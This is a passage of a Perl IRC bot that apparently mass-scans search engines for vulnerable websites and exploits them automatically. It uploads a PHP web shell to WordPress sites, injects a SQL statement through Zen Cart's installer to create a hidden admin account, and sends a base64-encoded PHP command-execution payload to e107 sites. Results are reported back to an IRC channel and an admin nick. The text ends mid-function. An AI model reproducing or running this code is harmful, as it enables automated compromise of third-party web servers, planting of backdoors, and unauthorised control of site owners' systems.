	if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKPL",$type); } exit; } }
	if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKRO",$type); } exit; } }
	if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKRU",$type); } exit; } }
	if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKTH",$type); } exit; } }
	if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUA",$type); } exit; } }
	if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUK",$type); } exit; } }
	if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUS",$type); } exit; } }
	if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKSI",$type); } exit; } }
	if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBE",$type); } exit; } }
	if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBIZ",$type); } exit; } }
	if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLe",$type); } exit; } }
	if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCA",$type); } exit; } }
	if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeDE",$type); } exit; } }
	if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeUK",$type); } exit; } }
	if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeFR",$type); } exit; } }
	if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeES",$type); } exit; } }
	if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIT",$type); } exit; } }
	if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNL",$type); } exit; } }
	if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeBE",$type); } exit; } }
	if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCH",$type); } exit; } }
	if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeSE",$type); } exit; } }
	if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeDK",$type); } exit; } }
	if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNO",$type); } exit; } }
	if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNZ",$type); } exit; } }
	if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIE",$type); } exit; } }
	if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeBR",$type); } exit; } }
	if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAR",$type); } exit; } }
	if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCO",$type); } exit; } }
	if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCU",$type); } exit; } }
	if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCL",$type); } exit; } }
	if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeMX",$type); } exit; } }
	if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAU",$type); } exit; } }
	if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeRU",$type); } exit; } }
	if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAT",$type); } exit; } }
	if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLePL",$type); } exit; } }
	if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIL",$type); } exit; } }
	if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTR",$type); } exit; } }
	if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeUA",$type); } exit; } }
	if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeGR",$type); } exit; } }
	if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeJP",$type); } exit; } }
	if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCN",$type); } exit; } }
	if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeMY",$type); } exit; } }
	if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTH",$type); } exit; } }
	if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIN",$type); } exit; } }
	if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeKR",$type); } exit; } }
	if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeRO",$type); } exit; } }
	if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTW",$type); } exit; } }
	if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeZA",$type); } exit; } }
	if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLePT",$type); } exit; } }
	if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"Bing",$type); } exit; } }
	if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingDE",$type); } exit; } }
	if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingUK",$type); } exit; } }
	if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCA",$type); } exit; } }
	if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingBR",$type); } exit; } }
	if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingFR",$type); } exit; } }
	if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingES",$type); } exit; } }
	if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingIT",$type); } exit; } }
	if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingBE",$type); } exit; } }
	if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNL",$type); } exit; } }
	if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingPT",$type); } exit; } }
	if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNO",$type); } exit; } }
	if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingDK",$type); } exit; } }
	if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingSE",$type); } exit; } }
	if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCH",$type); } exit; } }
	if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNZ",$type); } exit; } }
	if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingRU",$type); } exit; } }
	if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingJP",$type); } exit; } }
	if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCN",$type); } exit; } }
	if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingKR",$type); } exit; } }
	if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingMX",$type); } exit; } }
	if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingAR",$type); } exit; } }
	if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCL",$type); } exit; } }
	if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingAU",$type); } exit; } }
	if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BigLobe",$type); } exit; } }
	if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"WaLLa",$type); } exit; } }
	if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YaHoo",$type); } exit; } }
	if ($engine =~ /yahooCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCA",$type); } exit; } }
	if ($engine =~ /yahooUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoUK",$type); } exit; } }
	if ($engine =~ /yahooDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoDE",$type); } exit; } }
	if ($engine =~ /yahooFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoFR",$type); } exit; } }
	if ($engine =~ /yahooES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoES",$type); } exit; } }
	if ($engine =~ /yahooIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoIT",$type); } exit; } }
	if ($engine =~ /yahooHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoHK",$type); } exit; } }
	if ($engine =~ /yahooID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoID",$type); } exit; } }
	if ($engine =~ /yahooIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoIN",$type); } exit; } }
	if ($engine =~ /yahooAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAU",$type); } exit; } }
	if ($engine =~ /yahooMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoMX",$type); } exit; } }
	if ($engine =~ /yahooTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoTW",$type); } exit; } }
	if ($engine =~ /yahooBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoBR",$type); } exit; } }
	if ($engine =~ /yahooAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAR",$type); } exit; } }
	if ($engine =~ /yahooNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoNL",$type); } exit; } }
	if ($engine =~ /yahooDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoDK",$type); } exit; } }
	if ($engine =~ /yahooPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPH",$type); } exit; } }
	if ($engine =~ /yahooCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCL",$type); } exit; } }
	if ($engine =~ /yahooRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoRU",$type); } exit; } }
	if ($engine =~ /yahooCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCH",$type); } exit; } }
	if ($engine =~ /yahooCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCO",$type); } exit; } }
	if ($engine =~ /yahooFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoFI",$type); } exit; } }
	if ($engine =~ /yahooRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoRO",$type); } exit; } }
	if ($engine =~ /yahooVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoVE",$type); } exit; } }
	if ($engine =~ /yahooAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAT",$type); } exit; } }
	if ($engine =~ /yahooPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPL",$type); } exit; } }
	if ($engine =~ /yahooKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoKR",$type); } exit; } }
	if ($engine =~ /yahooNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoNZ",$type); } exit; } }
	if ($engine =~ /yahooGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoGR",$type); } exit; } }
	if ($engine =~ /yahooPE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPE",$type); } exit; } }
	if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsK",$type); } exit; } }
	if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKCA",$type); } exit; } }
	if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKDE",$type); } exit; } }
	if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKIT",$type); } exit; } }
	if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKFR",$type); } exit; } }
	if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKES",$type); } exit; } }
	if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKRU",$type); } exit; } }
	if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKNL",$type); } exit; } }
	if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKUK",$type); } exit; } }
	if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKBR",$type); } exit; } }
	if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKPL",$type); } exit; } }
	if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKAU",$type); } exit; } }
	if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKAT",$type); } exit; } }
	if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKJP",$type); } exit; } }
	if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKSE",$type); } exit; } }
	if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKMX",$type); } exit; } }
	if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKNO",$type); } exit; } }
	if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKDK",$type); } exit; } }
	if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"UoL",$type); } exit; } }
	if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"OnEt",$type); } exit; } }
	if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"CLusTy",$type); } exit; } }
	if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"SaPo",$type); } exit; } }
	if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AoL",$type); } exit; } }
	if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"LyCos",$type); } exit; } }
	if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"HotBot",$type); } exit; } }
	if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"SeZNam",$type); } exit; } }
}


###### EXPLOITING #######
sub ffm_exploit() {
	my $chan = $_[0];
	my $bugz = $_[1];
	my $nick = $_[2];
	my $dork = $_[3];
	my $engine = $_[4];
	my $count = 0;
	my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$ffmlogo);
	my $num = scalar(@totexploit);
	if ($num > 0){
		foreach my $site(@totexploit){
		$count++;
		if ($count == $num-1) { &msg("$chan","$ffmlogo4$engine 9Finished 4for 9$dork "); }
			my $aplod = LWP::UserAgent->new;
			my $res = $aplod->post("http://".$site.$bugz,['file' => ['./xxx.php' => 'application/octet-stream'],'name' => 'xxx.php'],'Content-Type' => 'form-data');
			my $hasil = $res->content;
			my $path = "wp-content/uploads/2013/10/xxx.php";
			if ($hasil=~ /xxx.php/){
					&msg("$chan","$ffmlogo4$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site ");
				my $test = "http://".$site.$path;
				if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
					my $cekap = &get_content($test);
					if ($cekap =~ /UnKnown - Simple Shell/) {
						my $safe = ""; my $os = ""; my $uid = "";
						if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
						if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
						if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
						&msg("$nick","$ffmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
						&msg("$admin","$ffmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
					}
				} exit;
			} }
		}
	}
}

sub zen_exploit() {
	my $chan = $_[0];
	my $bug = $_[1];
	my $nick = $_[2];
	my $dork = $_[3];
	my $engine = $_[4];
	my $count = 0;
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
	my $num = scalar(@totexploit);
	if ($num > 0){
		foreach my $site(@totexploit){
		$count++;
		if ($count == $num-1) { &msg("$chan","$zenlogo4$engine 9Finished 4for 9$dork "); }
			my $test  = "http://".$site.$bug;
				my $html  = &get_content($test);
				if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
				if ($html =~ /zc_install/){
					&zen_query($chan,$site,$test,$engine);
				}
			} exit; }
		}
	}
}

sub zen_query() {
	my $chan = $_[0];
	my $url = $_[1];
	my $test = $_[2];
	my $engine = $_[3];
	my $code  = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";
	my $req = HTTP::Request->new(POST => $test);
	$req->content_type("application/x-www-form-urlencoded");
	$req->content("query_string=".$code);
	my $ua = LWP::UserAgent->new(agent => $uagent);
	$ua->timeout(3);
	my $res = $ua->request($req);
	my $data = $res->as_string;
	if ( $data =~ /1 statements processed/i ) {
		&msg("$chan","$zenlogo4$engine 4<9=4>4 VulN 4<9=4>9 http://".$url."admin/login.php ");
		&msg("$admin","$zenlogo4$engine 4<9=4>4 VulN 4<9=4>9 http://".$url."admin/login.php ");
	}
	elsif ( $data =~ /Duplicate entry/i ) { 
		&msg("$chan","$zenlogo4$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");
		&msg("$admin","$zenlogo4$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");
	}
}

sub e107_exploit() {
	my $chan = $_[0];
	my $bug = $_[1];
	my $nick = $_[2];
	my $dork = $_[3];
	my $engine = $_[4];
	my $count = 0;
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo);
	my $num = scalar(@totexploit);
	if ($num > 0){
		foreach my $site(@totexploit){
		$count++;
		if ($count == $num-1) { &msg("$chan","$e107logo4$engine 9Finished 4for 9$dork "); }
			my $test = "http://".$site.$bug;
			my $shellz = "http://".$site."/images/lobex.php";
			my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
			my $html = &e107_rce_query($test,$code);
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
			if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
				my $sys = $1;
				my $upload = "";
				my $res = &e107_rce_query($test);
